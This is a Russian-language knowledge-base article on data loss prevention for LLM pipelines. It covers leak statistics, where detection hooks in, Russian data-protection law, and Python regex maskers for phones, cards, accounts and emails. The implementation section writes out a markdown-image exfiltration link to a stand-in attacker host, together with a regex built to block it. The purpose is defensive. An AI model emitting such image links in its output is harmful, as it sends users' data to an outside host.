DLP for LLM

DLP (Data Loss Prevention) для LLM — набор политик и инструментов, контролирующих, что попадает в модель и что из неё выходит, чтобы PII, финансовые данные, секреты и коммерческая тайна не покинули контур компании. Классический DLP защищал почту/USB/браузер; с приходом LLM появился новый канал утечки — промпты. Смещение фокуса: от «кто атакует» к «что нельзя выпустить наружу».

status/volatile Юридические нормы РФ (ФЗ, суммы штрафов, требования регуляторов) и статистика утечек меняются. Ревизия раз в квартал.

Суть

DLP для AI встраивается прямо в пайплайн и перехватывает данные до того, как они попали в модель (и на выходе). Это обязательный слой продакшн-агента на территории РФ при доступе многих пользователей.

Зачем это нужно

Статистика: 13% корпоративных запросов к AI-чатботам содержат риски (PII, платёжные данные, секреты, внутренние URL). Harmonic: Q4-2024 — 8,5% промптов с чувствительными данными; Q2-2025 — 4,37% промптов + 22% загруженных файлов; ChatGPT даёт >70% случаев утечки. Нарушение ФЗ-152 с 2025 — штраф до 15 млн руб.

Как работает

3 типа DLP:

  • Endpoint DLP — защита на устройствах (ноутбуки, ПК, мобильные): мониторинг доступа, копирования, передачи файлов.
  • Network DLP — данные в движении: почта, мессенджеры, файлы, интернет-трафик.
  • Cloud DLP — данные в SaaS: Microsoft 365, Google Workspace, Dropbox.

3 точки перехвата в пайплайне:

  1. Pre-prompt scanning (до LLM) — детект ФИО, карт, телефонов, email, паспортных данных → маскирование (Иван Петров → <PERSON>) или блокировка запроса (см. PII Anonymization).
  2. Retrieval filtering (при RAG) — фильтр результатов поиска до контекста: документ с зарплатами может найтись, но не должен уйти в промпт (RAG Poisoning).
  3. Output redaction (перед ответом) — финальный ответ проверяется: LLM иногда «вспоминает» обучающие данные или воспроизводит данные из RAG — их перехватывают на выходе.

Юридический контур РФ:

  • DLP-политики определяются 3 уровнями: федеральные законы, требования регуляторов (ФСТЭК, ФСБ), внутренние стандарты.
  • Ключевые нормы: ФЗ-152 (ПДн), ФЗ-149 (информация), приказ ФСТЭК №21 (audit log, ролевая модель доступа), №98 (коммерческая тайна), ФЗ-420/2025 (штрафы, регистрация в Роскомнадзоре).
  • Локализация: все ПДн — на серверах РФ (Yandex Cloud, SberCloud, MTS Cloud, Selectel; self-hosted Llama/GigaChat). OpenAI API — только после Presidio-анонимизации.
  • Уведомления при утечке (ФЗ-152 ст.21): Роскомнадзор за 24 ч, пострадавших за 72 ч.
  • Ролевая модель доступа (пример): LLM-агент поддержки — PII только Masked; RAG-индексатор — нет доступа к PII; ИБ-админ — полный.

Один слой на двух каналах утечки

Частая ошибка команд — почистить ответ пользователю и забыть, что те же персональные данные ушли в логи и трейсы. Там их видит не только команда разработки, но и атакующий, если он добрался до систем наблюдаемости. Каналов два, и фильтр должен стоять на обоих:

Модель → ответ пользователю ─┐
                             ├─→ единый DLP-слой (regex + NER-guard) → наружу
Модель → логи и трейсы ──────┘

Детектор комбинированный: регулярные выражения ловят структурные данные (телефоны, номера карт, паспорта), NER-guard — то, что не описывается шаблоном (ФИО, адреса).

Три возможных действия при срабатывании, выбираются по чувствительности:

  1. Замаскировать — телефон превращается в +7·····, ответ остаётся полезным.
  2. Заблокировать ответ целиком.
  3. Бросить алерт в мониторинг, не меняя ответ (режим наблюдения).

DLP при этом закрывает последнее звено цепочки атаки: даже перехваченный агент не нанесёт ущерба, если канал вывода отфильтрован (см. Attack Kill Chain).

Реализация: маскировщики и блокировка канала эксфильтрации

Из разобранной реализации. Два принципиально разных действия в одном слое: PII маскируется, а канал утечки блокирует ответ целиком.

PHONE_RE   = re.compile(r"(?:\+7|8)[\s\-]?\(?\d{3}\)?[\s\-]?\d{3}[\s\-]?\d{2}[\s\-]?\d{2}")
CARD_RE    = re.compile(r"\b\d{4}[\s\-]?\d{4}[\s\-]?\d{4}[\s\-]?\d{4}\b")
ACCOUNT_RE = re.compile(r"\b\d{20}\b")
EMAIL_RE   = re.compile(r"[\w.+-]+@[\w\-]+\.[\w.\-]+")
MD_IMAGE_RE = re.compile(r"!\[[^\]]*\]\((https?://[^\s)]+)\)")   # канал эксфильтрации

def mask_card(m):
    d = re.sub(r"\D", "", m.group())
    return d[:4] + " •••• •••• " + d[-4:]      # хвост оставляем: пользователь узнаёт свою карту

class DLPResult(BaseModel):
    masked_text: str
    hits: list[str] = Field(default_factory=list)
    blocked: bool = False

Порядок проверок в слое важен:

  1. Сначала markdown-ссылки. Если хост картинки не в списке доверенных — блокируется весь ответ, а не маскируется фрагмент. Причина: ![](https://attacker/?data=...) — не утечка PII в тексте, а активный канал вывода, и частичная чистка тут бессмысленна.
  2. Затем маскирование по типам: карты, счета, телефоны, email — каждый со своим маскировщиком, тип попадает в hits.
  3. Затем NER на имена (в проде — модель, в учебной реализации — мок со списком известных ФИО).

Параметр канала (response / logs) на логику не влияет — это тот же самый слой, вызванный дважды. Именно так и достигается покрытие обоих каналов утечки.

Связано с

  • PII Anonymization — инструмент pre-prompt scanning (Presidio)
  • Guardrails — DLP как часть Input/Output слоёв
  • RAG Poisoning — retrieval filtering как точка перехвата
  • Agent CostControl — DLP-слой добавляет ~80 мс latency («налог на безопасность»)
  • Agent Security — место DLP в защите данных